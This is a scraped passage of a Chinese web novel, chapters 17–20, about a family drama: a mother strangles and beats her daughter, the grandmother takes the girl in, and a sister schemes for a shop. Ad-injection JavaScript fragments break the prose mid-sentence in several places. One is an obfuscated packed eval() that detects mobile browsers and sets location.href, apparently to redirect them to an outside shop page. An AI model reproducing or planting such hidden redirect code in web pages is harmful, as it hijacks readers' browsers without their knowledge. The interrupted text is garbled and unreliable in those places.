“要不是你抢了青峰的先，那老虔婆也不会因为我生下来的女儿就看不起我！” “你怎么不去死？你怎么不去死！” 东方青宁听着她母亲对她的谩骂，内心早已麻木了，她没觉得伤心，只剩下了对母亲的惧怕。 阮氏每次一有不顺就会像是疯了一般地折磨自己的大女儿，但这次下手却极重。 她刚开始是拧软肉，后来是打耳光，再后来她居然用手掐住了东方青宁的脖子。 东方青宁只觉得无法呼吸，喉骨很疼，大脑发紧，整个人都用力挣扎起来，但是因为力气太小，根本挣扎不开，眼睛瞪得老大。 阮氏用力把女儿按在地上，她的眼里只有恨意。 直到房门外传来东方瀚说话的声音，阮氏的理智才逐渐回笼。 “你们这大白天的都站在外面做什么？” 阮氏立马立马松了手，快速地给东方青宁理了理头发，然后把自己的衣服头发弄乱，最后才一把把孩子紧紧的抱在怀里痛哭起来。 “啊……娘的青宁啊，你怎么又犯病了啊？你这么掐自己，要心痛死我这做娘的呀！” 东方瀚听到阮氏的声音，也顾不得训斥丫鬟们，双手一推开门便大步走了进去。 “宁儿怎么了？”他急切地问道。 阮氏随即就泪眼婆娑地往东方瀚身上靠，一副终于有了主心骨的模样，连声说：“夫君你看看青宁，她又犯病了。” 东方瀚一看女儿红肿的脸，惊得连忙叫丫鬟去叫人请大夫。 一时间，整个傲梅苑都慌乱了起来，只有阮氏的贴身丫鬟还算淡定。 等到熟识的老大夫上门看诊以后，眼色颇为复杂地看了看东方瀚夫妻俩，到了嘴边的话又咽了下去。 虽然他这十来年一直都有来东方家行医看诊，但这大户人家里的事，他一个普通老大夫也不敢掺和，又默默地诊了脉。 东方青宁之前都晕了过去，这时人也清醒了不少，想要开口说话，却痛苦地眯起了眼。 “这是怎么回事？”东方瀚急切地问。 老大夫无奈地摇摇头，对东方瀚说道：“伤了嗓子，我先开两副药，一副一日，每日三次。饮食方面要多多注意，不可食辛辣，可食用蛋羹、鱼粥等好吞咽的食物，多饮水，最好是温热蜂蜜水，饮食后漱口。” 东方瀚连连点头，派人送老大夫一并出去抓药。 又叫了人去正院刘夫人那里递了话，好免了东方青宁每日向祖母的请安和一起用膳等事宜。 刘夫人听到下人的回禀，平时和气的脸色垮了一下。 “余嬷嬷，派个得力的，去打听打听到底出了什么事。” 余嬷嬷领命去了，约摸半炷香时辰之后，就带了个打杂模样的小丫鬟回来复命。 “奴婢香儿拜见夫人，给夫人磕头了。” “起来回话吧。”刘夫人抬了抬手说。 “多谢夫人。”香儿利落地起身，然后小嘴一张就把她知道事情说了出来。 刘夫人听到“掐伤”、“屋里只有大少夫人的谩骂”等等，一下就明白过来是怎么回事。 “这个毒妇！”刘夫人气得连拍桌子。 “夫人你消消气。”余嬷嬷连忙上前去给刘夫人拍背顺气。 刘夫人气完之后就是心酸，但又不好当着一个小丫鬟的面说出些什么。 余嬷嬷给一旁的大丫鬟琴音使眼色，琴音会意，从手腕上褪下一个银镯子给香儿戴上。 香儿喜不自禁地又跪下，朝着刘夫人道谢磕头，然后就很有眼力见地跟着琴音出去了。 “今日的话出了主院后，便同谁都不许说了，可知道了？”琴音温柔地叮嘱道。 香儿连连点头保证，出了主院回去梅林苑继续打杂不提。 第二日向雨涵去主院给刘夫人请安时，就看到一个红肿着脸，举止有些瑟缩的小姑娘跟在刘夫人身边。 她走近认真打量了几眼才认出来，居然是东方晋的大侄女。 向雨涵也不是个多管闲事的，问了安后，刘夫人就叫她回去了。 琴音送向雨涵出去时，随口说了几句。 “昨日夫人听说大姑娘不小心磕到了脸，怕梅林苑那边伺候不周全，便接了过来养伤。 之前刘夫人没有跟向雨涵解释，便知道琴音是在向她示好才说了这话。 于是就顺着说：“母亲养育了三儿两女，大姑娘跟在她祖母身边自然是更为妥当。” 琴音笑吟吟地夸：“还是三少夫人更明事理，之前余嬷嬷去接人，大少夫人那边还不愿意呢。” 向雨涵这次却没有接话，只道要回去练字去了，让琴音姐姐不必再送。 琴音原本还想多送一会儿，见向雨涵如此说，脚下不由得止住步子，脸上还维持着之前的笑容跟向雨涵道了别。 等向雨涵一转身，她脸上的笑瞬间消失不见，也没有回去刘夫人身边，而且径直回了自己住的屋子，还把从隔壁屋子出来的画色给撞了。 画色正要说她几句，她进了屋哐当两声就把门关了。 “这大白天的，谁又惹着了？竟冲我脾气？” 一旁的小丫鬟小声地回：“刚刚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 琴音姐姐送三少夫人时还有说有笑的，不知怎么的，三少夫人才走了，她忽然又恼了。” “三少夫人？” 小丫鬟连忙点点头。 画色呲笑一声：“原来是这样。” “画色姐姐，琴音姐姐她怎么了？”小丫鬟好奇地问。 画色轻瞟了小丫鬟一眼，冷冷地说：“以后多做事儿，少言语，免得惹事儿！” 小丫鬟心想：这画色姐姐好凶！ 嘴上却不敢违抗，老实地说：“知道了。” 画色没有再管那小丫鬟，拿着手里的东西，心里想着昨晚主院里发生的事就出去了…… 大姑娘接过来后，夫人仔细检查了一番，就发现大姑娘虽然身上的外裳料子还行，但里面的亵衣小衫居然不是上好的棉布。 而且孩子身上浑身上下青一块紫一块的，新伤加旧伤几乎没一处好皮！ 看得她们这些丫鬟和嬷嬷们心惊不已。 夫人更是抱着大姑娘哭了一场。 然后就是忙着给大姑娘清洗身子和头发，现在大姑娘身上穿的亵衣还是她以前的旧衣。 夫人说天气热现做新衣也来不及，就叫她出去外面成衣铺子里按大姑娘的体量采买。 所以之前遇到琴音发脾气，她也没多耽误，和小丫鬟聊了两句就急忙走了。 刘夫人那边，东方青宁总是跟在她祖母身边，眼里全然不知自己的未来会如何，她甚至做梦都能梦见自己被母亲掐死的场景。还没完全消肿的一张小脸儿白的可怕。 又过了两日，刘夫人发现大孙女哪怕在自己身边，也依然如同惊弓之鸟一般，整个人惶惶不安，说话也唯唯诺诺。 刘夫人心里又暗骂了阮氏好几遍，哪怕已经罚阮氏抄佛经，又禁了足都不解气。 她也明白孩子真是受了惊吓，加之又是个被她那个恶毒母亲养得怯懦的小姑娘，一时半会儿很难缓过来，所以她也不好过多苛责，只怪自己没有早发现。 就在刘夫人暗自神伤之时，大丫鬟棋玉快步走了进来禀报。 “夫人，三少夫人的母亲带着小郎上门来了。” 刘夫人一听是亲家上门，虽然对方身份只是一介农妇，但想到向雨涵的聪慧令她很是满意，便笑着吩咐人恭恭敬敬地把赵氏迎了进去。 赵氏以前就知道东方家富裕，但这也是第一次上二女婿家。 进去之后跟着奴仆绕过了好几个院子，看着院子里修剪整齐的盆栽，每个屋檐上挂满了精致的灯笼，以及环绕着亭台楼阁的回廊里朱红色的大柱子，还有镂空雕花的栏杆，都看得她满心的激动。 心里全是：啊！啊！这的花多少钱啊？当初彩礼钱可是要太少了啊！ 向清福虽然内心也很激动，但是他却不敢乱动。 毕竟他二姐夫家修得这一弯十八拐的，他害怕迷路。只得乖乖的任由他娘满是热汗的大手牵着，跟着前面好看的姐姐往里走。 等向雨涵得了信时，赵氏已经在刘夫人三请之后，颤颤巍巍地坐在软榻上，跟刘夫人说上话了。 18.铺子 正直夏末，天气还很热，屋里四处还放着冰。 赵氏感觉到了丝丝的凉意，再看着眼前满头珠翠的亲家夫人，紧张得心如擂鼓，脸上带上了不太自然的红晕，努力地维持着镇定，但说话时微微抖动的唇角，还是透露出了她的心虚。 刘夫人对赵氏的态度还算热情，一边让她坐着，一边又吩咐丫鬟们上茶上果子点心。 赵氏有些受宠若惊地谢了又谢。 向清福也跟着赵氏坐着，悄悄地打量着刘夫人。 刘夫人一看到白胖胖的向清福，便笑问道：“这是阿涵的弟弟？” “是。”赵氏有些拘谨地应答，随即像是想到了什么，又说道，“我们家就得了三个孩子，雨涵和她姐姐是孪生姐妹，当初生她们的时候很是凶险，大夫说是伤了身子，原本以为不会再有了，后来竟有了清福这娃儿，也是祖先保佑了。” 刘夫人也是生育过好几个子女的人，对此自然感同身受，于是也跟着附和了一句：“那真是祖先保佑。” 两人又聊了一会儿孩子，刘夫人就让棋玉带着向清福出去外面院子玩。 向清福贪嘴地抓了两块糕点，兴奋地跟着棋玉出去了。 看向清福出去了，刘夫人正想问赵氏今天进城来是不是有什么事，向雨涵就过来了。 最近向雨涵接了三房的营生，时不时会跟下面的人了解事务，所以在穿戴上也更为讲究。 于是刚听到丫鬟通传，赵氏就见一身穿淡绿色短衣配藕色对襟长衫，头发梳朝天髻戴金步摇的女子缓步而来。 女子面容十分的白皙，一张圆润小脸上眉如弯月，微点朱唇，走路姿势也十分的端庄大方。 不过一个多月未见，赵氏几乎差点没认出眼前的女子就是自己的二女儿。 “见过母亲、娘。”向雨涵第一时间见了礼。 刘夫人倒是很习惯三儿媳妇的做派，可赵氏就完全被惊住了，嘴巴嗫嚅着不知说什么才好。 向雨涵瞧赵氏没有说话，但表情又惊讶又激动的，也明白了她大概的心情。 于是便主动上前去拉住赵氏的手，笑吟吟地喊：“娘这个表情莫不是差点没认出女儿来？” 赵氏这才激动地说：“还是这里养人啊，雨涵白了也胖了。” 刘夫人微微一挑眉，想到刚刚的胖娃娃向清福，但也保持大度地没有说什么。 向雨涵以前在家里做姑娘的时候，每天不是上山砍柴就是下地锄草，一年混不上里多肉，连鸡蛋也只有弟弟吃腻了偷偷塞给她的时候才有。 嫁到东方家，衣食住行与她上一世当了官夫人也并无不异，甚至在有些方面还吃得更好些，加之人也年轻，自然而然的就很快养成现在这幅模样了。 向雨涵也懒得跟她娘掰扯这些事，只是笑道：“前段日子一直在母亲大人这里学字，就没有时间回去看你和爹还有弟弟，最近家里可还好？” 赵氏连连点头：“好，我们都挺好的，夏收还多亏了姑爷带人过来帮忙，今年我跟你爹才没受什么累。” 说到这里赵氏又连忙谢了刘夫人一遍，夸她教养的孩子孝顺懂事，不但长得好，还很能干。 刘夫人微微谦虚了几句，然后又说道：“我家阿晋与阿涵两人结为夫妻，他如今愿意为了阿涵去乡下抢收，说实在的，我这做母亲的也不舍得，但只要孩子们和和美美的就行。” 赵氏听出了刘夫人话里的点拨，也知道东方晋去帮忙都是看在向雨涵的面儿上，心里顿时想起来之前向大河的叮嘱犹豫了起来。 “亲家母第一次来，又与阿涵有一段时日不见了，不如就去他们住的松竹苑坐坐吧，母女俩也好说说体己话，等会儿午膳备好了，我再让人过去请就行。”刘夫人很是体贴地说道。 向雨涵也是这个意思，见婆母主动开口安排，也就应承了下来，简单拜别两句，就带着赵氏，又叫上在院子里玩的向清福一起回了松竹苑。 “雨涵啊，你这院子屋子住的可真好啊！” 一进屋，向雨涵遣退了奴仆们，只留他们娘仨在屋里说话。 屋子里也放了冰，很是凉快，向清福也很久不见他二姐了，就老老实实在屋里呆着，没有要出去玩。 赵氏把屋子来来回回地打量观望了一番，十分感慨。 “若是下辈子投胎，我也能投到这样的家里才好嘞。” 向雨涵没忍住笑了。 她把还在到处打量的赵氏拉到檀木椅上坐下，又拿了桌上的冰镇绿豆汤给赵氏和向清福。 然后才笑着说道：“以后的日子肯定会越来越好的，等清福长大了有出息，娘也就跟着享福了。” 向清福一听二姐提到他，立马拍了拍胸脯，自信满满地说道：“娘你不用投胎，这辈子我就让你住上大房子。” 向雨涵闻言被都得哈哈大笑起来，赵氏既觉得欣慰又觉得哪里有点不对劲。 “对了，娘。这么热的天，你怎么带着清福来县城了？可是有什么事要办？”向雨涵笑完问道。 赵氏知道如果不把向大河说的事儿办成，那她今天回去说不准得挨一顿打。 虽然汉子打婆娘天经地义，但她还是不想挨打。 于是赵氏捧着小碗，喝了几口绿豆汤，犹豫着开口对向雨涵道：“听姑爷上次回来说，之前他名下还有几个租赁出去的铺子，你看能不能腾出一间来让你姐用？” 向雨涵目光一沉，没有接话。 “小的，小间的就行。”赵氏连忙补充，然后放下碗，去拉住向雨涵的手。 “雨涵啊，你也知道，你姐在娘胎里就没养好，这些年说是泡在药罐子长大的也不差，如今她又嫁了那么一个肩不能挑背不能抬的，家里日子实在难过，你俩都是爹娘的女儿，又是嫡亲的姐妹，你现在日子好过，还望你能拉扯 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一把你姐姐才是啊。” 向雨涵原本心里对向雨嫣重生后要嫁给宋峤，又对东方晋这边一点不提点她的事很是不痛快。 但自从她嫁进东方家，东方晋对她一直很体贴也很尊重，日子倒也算过得充实顺遂。 再听赵氏提到向雨嫣，她脑子里更多的还是上一世对姐姐的感情，心里也软了几分。 不过即便如此，她也没有立马应下赵氏的请求，而是假装没听懂地问道：“姐姐不是也跟着姐夫在守孝吗？给她腾铺子又能做什么呢？” 赵氏一噎，又小心地往门口看了看，这才小声地说：“咱们乡下人哪里有那么多的讲究？饭都吃不起了，还守孝那不得一家子全饿死算了。” 赵氏一想到向大河跟她说的话，斟酌了一下，就又说：“你姐夫读书得守孝，你姐为生计所迫出来做点买卖，只要我们不说出去，别人也不知道，是不是？就算知道了也不怕，谁还能逼人家去死不成？” 向雨涵脸上挂着淡淡的笑，心想：这世上想要别人死的礼法多了去了，也就乡间时常有饿殍，大家才没有遵守那些吃人的礼教罢了。 赵氏不知二女儿心中所想，还在极力劝说：“你从小身体就比你姐姐好，娘生的三个娃儿里面，你也是最最能干懂事的，当初两家媒人同时上门来提亲，爹娘都想让你嫁来县城享福，二话不说就应了这门亲事。” 赵氏还特意捏了捏向雨涵已经养得有些嫩白的手指，继续说道：“如今你这日子过得爹娘都不敢想，姑爷又是个疼人的，还把铺子都交给你管，再反观你姐姐……上次她回来，我瞧着都差点瘦的没人样儿了。” “好了，好了。娘你就说要我腾铺子给我姐是要做什么买卖吧。”向雨涵打断道。 赵氏拿出怀里的帕子，醒了醒刚情绪上头出来的鼻涕，又才说道：“还不是你姐夫家那个寡母，她生前给留下了做豆腐的方子，你姐夫就给了你姐，打算做些豆腐在县城里卖，若是日后你想吃豆腐了，也能直接去你姐那里拿就是。” 赵氏说着话，却不料向雨涵忽而面色一沉，连忙问道：“你这是怎么了？是不是哪里不舒服？” 向雨涵摇摇手，没有再问下去，而是起身去里间的柜子里拿出一个包裹来递给赵氏。 “这是里面什么啊？”赵氏的注意力一下就被包裹吸引。 向雨涵解释说：“里面是几套秋日的衣裳和鞋子，是按照你和我爹，还有清福和我阿奶准备的。昨天刚做好，正准备过些天让人送回去，今日恰好娘你来了，正好就能带回去了。” 赵氏摸着包裹很是高兴，正想再说点什么，就听到外面小暑进来传话，说主院那边的午膳已经好了，请亲家母和小郎君过去用膳。 向清福一听，兴奋地拍了拍他圆乎乎的肚皮对赵氏说饿了。 赵氏平时最是心疼这个儿子，也没去想他之前吃了多少糕点，就顺着去了。 19.男装 哪怕向雨涵上一世吃过斋念过佛好长一段时间，这一世再听到宋家还留藏着做豆腐的方子，心里还是忍住不觉得委屈和愤恨。 因为上一世宋峤从来没有把那个方子拿出来给她，而是如同耳聋眼瞎一般任由着她自己折腾。 向雨涵一想到曾经的她为了做果酱，因为树皮上有青苔，还失足从树上摔下去过。在家里腿瘸养了大半个月，宋峤也只是嘴上说了几句安慰的话，手里明明有方子却不肯拿出来给她，就觉得上一世的自己傻的可笑。 赵氏在东方家吃了饭，歇了歇日头就准备回去，等向雨涵把她送到侧门外，看身边的丫鬟离了点距离，又才问铺子的事。 向雨涵便笑着说道：“娘你是不知道，这做买卖可不是有方子有铺子就行，最主要的就是得有手艺。之前我也听说宋家姐夫的母亲做豆腐卖给乡里，以赚取银子供姐夫读书，那可是多少年的老手艺了。也不是我看不起我姐，但娘你也该最是清楚她，从小就没进过几回灶房的人，现在要做这豆腐买卖……” 赵氏听自家二女儿这么一提醒，顿时也对那个十多年都没做过几顿饭的大女儿能做豆腐的事产生了怀疑。 但是她也知道向大河最是疼爱大女儿，如果今天她这个事没办成，也怕回去不好交代。 “谁都不是天生会干活儿的，你姐……你姐虽然以前不会，但现在都已经嫁人了，这些活儿她可以学嘛。”赵氏面色为难地说道。 “这样吧，娘。”向雨涵看赵氏还在坚持，也猜到了原因，于是缓了缓语气说道，“若是姐姐做出来的豆腐能令爹娘满意，就送些来给我公婆尝尝，毕竟铺子也是他们给我夫君置办的，之前也是婆母帮我夫君租赁出去的，现在要把铺子收回来，总得有个说法才是。你说对不对？” 向雨涵提到了她公婆，其实也在赌她爹向大河的脸皮，应该也不会厚到愿意为了向雨嫣到东方家来丢脸。 赵氏一听觉得在理，于是也不再多说，拉着还恋恋不舍的向清福，与向雨涵道别回家去。 晚上东方晋才回家，向雨涵也没问他怎么这晚才回来。 嫁进来这些日子，她也大概了解了东方晋的交际圈，平日里出去无非是去跟那几个好友喝茶游玩——酒量不好，所以都不喝。 大部分时间则是在跟着家里请的拳脚师傅练武，偶尔还会去外面骑马遛弯。 至于上一世传闻里的“吃喝嫖赌”，好像都没见跟他有什么瓜葛。 东方晋不知道向雨涵心里是怎么看他，就如同向雨涵不知道东方晋每晚和她同榻忍得有多辛苦。 东方晋脱了靴子，正准备凑近闻闻，忽然想起什么，扭头看了一眼向雨涵，发现她并没有注意他，又才捏着鞋子扔一边去。 大暑打了洗脚水来，东方晋赶紧把脚泡了进去，一脸享受。 向雨涵上一世就爱看书，刚好东方晋的书房里的书挺多，不少都还挺整齐的，一看就是没怎么被翻过，于是她也就在其中抽了一本杂书来看。 东方晋泡完脚见向雨涵还在那里看书，就走过去，在她不远的地方拿了一根凳子坐下，拖着腮默默的看着她。 向雨涵翻书页的时候，余光一瞟，就看到了那痴汉的表情。 “你今天这是怎么了？感觉心情好像很好的样子。”向雨涵手里的书不落地问道。 东方晋闻言连忙收起脸上的表情，做出一本正经的模样端坐好。 “明日你可有安排别的什么事儿？”东方晋问道。 向雨涵歪了歪头，不明白对方怎么会问起这个话来，但还是如实的回道：“没有啊，明日应该还是跟平日一样，早上去一趟母亲院里，上午看书，下午练字。” 东方晋怪笑道：“自从你嫁过来之后，每日都如此的勤奋，要是个男子，我估计你都能考个状元回来。” 向雨涵忽然心中一动，想起上一世三年后的那场院试，已经知晓题目的她，若是个男子，再运作一番，还说不准真的能取个名次呢。 不过，就算知道三年后考试的题目，她作为一个女子也没有机会去考科举，所以还是作罢，不去想了。 但是看着东方晋这欠欠的表情，已经了解他脾性的向雨涵也不由得回怼了一句：“你是男子，你去考一个呗。” 东方镜哑然，然后好像是有些生气的，转过了身子，面向了另外一边坐着。 向雨涵没有理他，还是自顾自的看书。 东方晋既然他夫人没有来开口哄他，一会儿就自己把自己哄好了。 他又转过身来对着向雨涵坐着，开始继续前面的话题：“你如果明天有空，跟我一起出去玩儿呗。” 这次向雨涵是真惊讶住了，连手里的书都放了下来。 “出去玩儿？去哪里玩儿？母亲知道了，不会生气吧？” 东方晋一听就知道向雨涵这是动了心，就继续怂恿道：“母亲那边明天早上过去请安的时候，说一声就行了呗，你是嫁过来做人媳妇的，又不是来做金丝雀儿，哪能不出门呢？” 向雨涵确实好久没有出过门了，听到东方晋这么说也觉得在理，于是试探地问：“要不你去替我跟母亲说？” 东方晋连忙摇摇头，有些不好意思的说：“若是我去说，母亲定以为我是不务正业，还要带你出去瞎跑，怕我把你带坏咯！” 向雨涵不由取笑他道：“原来你也知在母亲眼里，你是不务正业呀。” 东方晋赧然道：“你就说想不想去吧。” 向雨涵思索一番后点了点头，然后就去准备明日出门要穿的衣服。 东方晋却一把拉住她的手腕，建议道：“不若做男子打扮？” 向雨涵先是一愣，又立即明白了过来：“倒是更方便，不过这时去哪里找适合我的男子衣装？” 东方晋像是早就料到她会同意一起出门，于是就拿出来一个包裹来打开，里面正是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一套崭新的男子衣物。 向雨涵讶然：“这是哪儿来的？” “前些时日里去铺子里选的。”说着就把衣衫抖开，往向雨涵身上比划，感觉长短大小都合适又满意的点点头，把衣服折好放回去。 向雨涵则笑着问道：“从哪家店拿的？给银子了没有？” 东方晋随意的回道：“就大东街的那一家，都是自家的生意，给什么银子啊。” 向雨涵听到他理所当然的语气，顿时有些哭笑不得，但还是好脾气的劝说道：“以后不管去哪家铺子买东西都得给钱，不然到下个月头了盘账对不上，我看账本能把头看晕。” 东方晋这才想起来还有这茬，连连点头表示：“行，下次我一定记得带银子去。” 向雨涵从来没有穿过男子的衣服，一时间心里也有一些新奇。 第二日一大早就醒了，把东方晋也喊了起来。 于是，东方晋只能打着呵欠，陪着她一起去跟母亲请安。 刘夫人向来是个开明大度的，听说小两口要一起出去玩，见他俩的感情如此好，也就没有阻拦，只是叮嘱了东方晋几句要他照顾好自家夫人，便摆摆手让他们回去了。 回到竹松苑时辰还早，东方镜就让向雨涵换了装扮，跟他一起从后门大大方方地溜了出去。 因为没有在家用早膳，所以他先是带着向雨涵去了东市，吃各种他早先就“品鉴”过好吃的吃食。 向雨涵上一世做买卖时，也到县城里吃过早饭，但只是偶尔一两次，那会儿她更多的是自备干粮，最多天冷时去城角楼下面的一家面铺，要一碗热汤就着干粮吃。所以对于东市哪里的东西好吃，她是一概不知。 东方晋作为一个从小就在县城里长大的人，对哪里有好吃的那真的是如数家珍，说起来也头头是道。 “旁边那家牛二炊饼不错，看他隔壁那家小娘子卖的就不好吃，只是不知道为什么，还挺多人去她家买的。” “那边那个王叔馄饨还不错，他家还有娇耳，不过做得不是特别正宗，不如京都的好吃。” “还有那边那一家做馎饦的，味道特别的好，我每次都能喝上一大碗。” “对了，最近还来了一个南州的老板，开了一家糖水铺子，他家的梨膏水和冰酪做得都挺不错的，就是价钱贵些。” 东方晋兴奋地说着，向雨涵在一旁静静的听着，因为做了男子打扮，也没有多说话，时不时的微笑点点头。 她这副表现让东方晋说起来更有劲儿了，恨不得把自己知道的所有事儿都说给她听。 有时候人就是这样，听人说话有应答，说话的人就会觉得有成就感，对听话之人的认同感也会加强。 两人不过逛了个早市，东方晋就觉得他跟夫人的感情更加好了。 向雨涵则觉得她对东方晋的了解更深了。 同时对于上一世他和向雨嫣之间的事也更好奇起来。 20.算计 向雨涵想到了姐姐向雨嫣，而向雨嫣此刻也正在想她妹妹向雨涵。 只不过有区别的是，一个是好奇，另一个则是愤恨。 “这世上有她这样的妹妹吗？明知道宋家不易，我们好不容易才省下一点钱财来买豆子，磨了豆腐自己都舍不得吃一口！若是孝顺爹娘就算了，凭什么还要我给她东方家一家子都送？她安的什么心，娘你看不出来吗？” 赵氏一早就往大女儿家赶，把昨天二女儿的要求才一说，就被一顿呛。 “雨涵她不是那个意思……” 赵氏刚要替二女儿辩解两句，就又被大女儿打断。 “她怎么不是那个意思？她分明就是那个意思！她嫁去县城里，夫家有银子有铺子，不说不帮衬一下娘家人，连爹娘的话都不听了，她还能把我这个姐姐放在眼里？那是恨不得把我踩在脚底下，摁在污泥里！” 向雨嫣又看了一眼在院门口玩石头的弟弟向清福，又继续对赵氏上眼药道：“我跟她还是从小一起长大的孪生姐妹，感情本该最为深厚，都不过如此，更别指望他以后能拉吧一把咱家清福了。” 赵氏还想再好好跟大女儿解释解释，但向雨嫣是全然听不进去的。 她一脸愤恨地说：“她现在是嫁人了，翅膀硬了，完全也不顾念我们这姐妹之情了，既然如此……娘，就麻烦你再告诉她一声，我跟她的姐妹之情从此一刀两断，若是日后我家峤郎飞黄腾达，她也莫要上来攀附了。” “雨嫣你消消气，消消气！不至于如此地步啊！你们可是亲姐妹呀，不至于为了这点小事，就生了间隙，断了来往啊。”赵氏听大女儿说的如此严重，再想到昨日小女儿的态度，她一个做娘的夹在中间，真的是左右为难。 “娘，不是我要同她生了间隙，是她压根没把我这个姐姐放在眼里！” 向雨嫣还想继续发脾气，在外面玩的特别无聊的向清福就跑了进来。 “娘，我饿了。”向清福扯着赵氏衣袖委屈巴巴地说。 赵氏想到昨天去东方家，自己宝贝儿子嘴里就没断过吃的，今天来这宋家却连口水都没有喝上，顿时心里就不是个滋味。 赵氏心里也涌上了气，也没再劝，反而去看宋家的米缸子和水缸子。 结果米缸子里就只有半把米，喂鸡都不够！ 水缸子更是干的一滴水没有！ 厨房里也只有几根乱草，柴火棒都没有！ 她猛地就惊住了，一把抓住向雨嫣就问：“你跟宋峤怎么过日子的？每天吃啥喝啥？” “娘，你抓疼我了。”向雨嫣努力地挣开她娘紧抓着她的手，心里盘算着怎么扯谎，眼珠子左转右转。 赵氏自己生的姑娘，看向雨嫣这个表情又如何不知道是准备要骗她，不由得就怒了。 “赶紧收起你那点小心思，以前在娘家每天偷奸耍滑，老娘看你身子弱，加上你妹妹能干，就没多管你！仔仔细细地给你养了十多年，娘胎里的那点毛病早就养好了！” 赵氏一个用力地把向雨嫣往水缸边扯，指着那已经落了一层灰的缸底，怒声道：“你说在家里到底是多久没有烧水做饭了？” 向雨嫣知道自己这次躲不过，索性破罐子破摔。 “还做什么饭？家里连米粮都没有了，我拿什么去做饭？” “家中无米了，那你那男人呢？不知道找你那男人去买些米粮回来吗？”赵氏指着向雨嫣鼻子骂。 向雨嫣暗暗翻个白眼，心想买回来她也不想做，但嘴上却说：“家里根本就没银钱，宋家的家底儿都拿去给爹娘你们做彩礼了，哪里能有什么银钱能去买米？” “那你之前还说，还说要做豆腐去卖？” 向雨嫣被堵的哑口无言，好一会又才找到说词。 “所以说才让爹娘你们去找妹妹啊！只要她把铺子腾出来给我，我转手租出去，不就有钱了吗？” 赵氏一听恍然大悟，顿时气得去墙边扯了一根树枝条就往向雨嫣身上打。 向雨嫣被打得满院跑，嘴里也啊啊直叫唤，引得旁边邻居都过来围观。 有好心的伯娘还来拉着赵氏劝，说两人年纪还小，这宋家的寡母去了也没人管教，也怪不得孩子。 赵氏原本有满腔的怒火，但一看到引来这么多人来，也不好再发作，毕竟家丑不可外扬。 她也顾不上打向雨嫣了，只能跟周边邻居道谢，压着心里的火气，好声好气地把人都劝走。 等邻居们都散了，她就去拿了扁担跟两木桶，语气依旧不善地问向雨嫣村里的水井在哪儿。 向雨嫣哪里知道水井在哪儿，平日里她都是和宋峤提回来的水，除了去外面小河沟里洗过脸，就不知道哪里有水了。 赵氏见她嫁过来一两个月了，连村子里的水井在哪儿都不清楚，顿时火气就又上来了，刚拿着扁担要打，就听到外面向清福急匆匆地跑回来喊她。 “娘！娘！不好了，不好了！” 赵氏平时对自己的宝贝儿子倒是温和，但这会儿正在气头上，语气也难免重了几分。 “大白天的，闯鬼了啊！大呼小叫的！” 向清福被他娘这么一吼，顿时老实了。 赵氏见娃儿被她吓到，又缓了缓语气问：“啥事跑那么快？若是摔着了，那不是让娘心疼吗？” 向清福察觉到他娘的态度，这才放松些，连忙凑近赵氏和向雨嫣，小声地说了几句话。 向雨嫣刚听了几句，人就炸了。 “他敢！他一个毛都没长齐的小软蛋！居然还想休妻？他凭什么？凭……” 赵氏惊得一把捂住向雨嫣的嘴。 “你个瓜娃子，吼那么大声干什么？是还想把周围邻居都引过来看你的笑话吗？” 向雨嫣闻言一憋，没有再大声骂宋峤，但眼里的怒火是怎么都藏不住。 赵氏毕竟是经过事的长辈，相对向雨嫣来说要沉稳得多。 她摸了摸儿子的头，温声细语地问：“你说刚刚听到你大姐夫跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967681|145507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个女娃子说要休妻，他们在哪儿？具体是怎么说的？有没有什么其他的动作。” 享清福是个脑瓜子聪明的，很快就说起了他刚刚的所见所闻。 原来之前赵氏被向雨嫣气到找树枝条的时候，向清福就出去找他大姐夫去了。 毕竟他可不敢去拉架，万一他娘不小心抽到他就不好了。 因为今天刚到宋家的时候，赵氏就只看到大女儿在屋里却没瞧见大女婿，就问了一句。 向雨嫣说宋峤拿着书去他母亲坟边念书去了，一个是山里清静，二个也算是守孝念书给他母亲听，好保佑他三年后院试必中。 向清福来之前就看了，周边就一座小山丘，旁边还有条从山上流淌下来的小河沟，于是他就沿着小河沟边踩出来的路往山上走。 刚走到山脚下，就看到宋峤跟一个黑壮的姑娘在拉拉扯扯。 向清福人小鬼大地摸了过去，躲在一块山上滚下来的大石头后面，然后就听到了两人的对话。 “峤哥哥，你又瘦了，看得盼儿好心疼！” “盼儿，母亲抛下我了，还好有你在……” “峤哥哥，你别难过，我这里又刚在山上烤的鸟蛋，你赶紧吃了补补身子。”那个叫盼儿的姑娘从平坦的胸口摸出两个小小的鸟蛋来递给宋峤。 宋峤心里有些嫌弃，但嘴上却说：“多谢盼儿了！盼儿你可不知道，我母亲被人骗了啊，给我娶的那个媳妇啊懒得跟头猪一样，什么都不会做，每天把我饿得眼冒金星，要不是你每日里偷偷给我送些吃食，我怕是坚持不住了。” 盼儿顿时小眼圆瞪、义愤填膺地道：“他们家怎么能这样？居然骗婚！那媒人也不是个好的，居然联合外人来欺负咱们！前几日还上我家跟我阿奶许愿要给我大姐说门好亲事呢！我回去定要跟我阿奶他们说说。” “嗯，只是你回去千万别说是我告诉你的，不然你阿奶怕又要打上门来。” “呜呜……我们的命好苦啊，明明咱俩从小一起长大，冬梅竹马，他们偏偏要拆散我们。”盼儿拉着宋峤就哭了起来…… 向清福讲到这里，忽然插话问赵氏：“娘，‘冬梅竹马’是啥子意思啊？” 赵氏也不知道，立刻转移话题：“那个不重要，你继续讲，后来呢？” “哦。”向清福又继续学起两人的对话来。 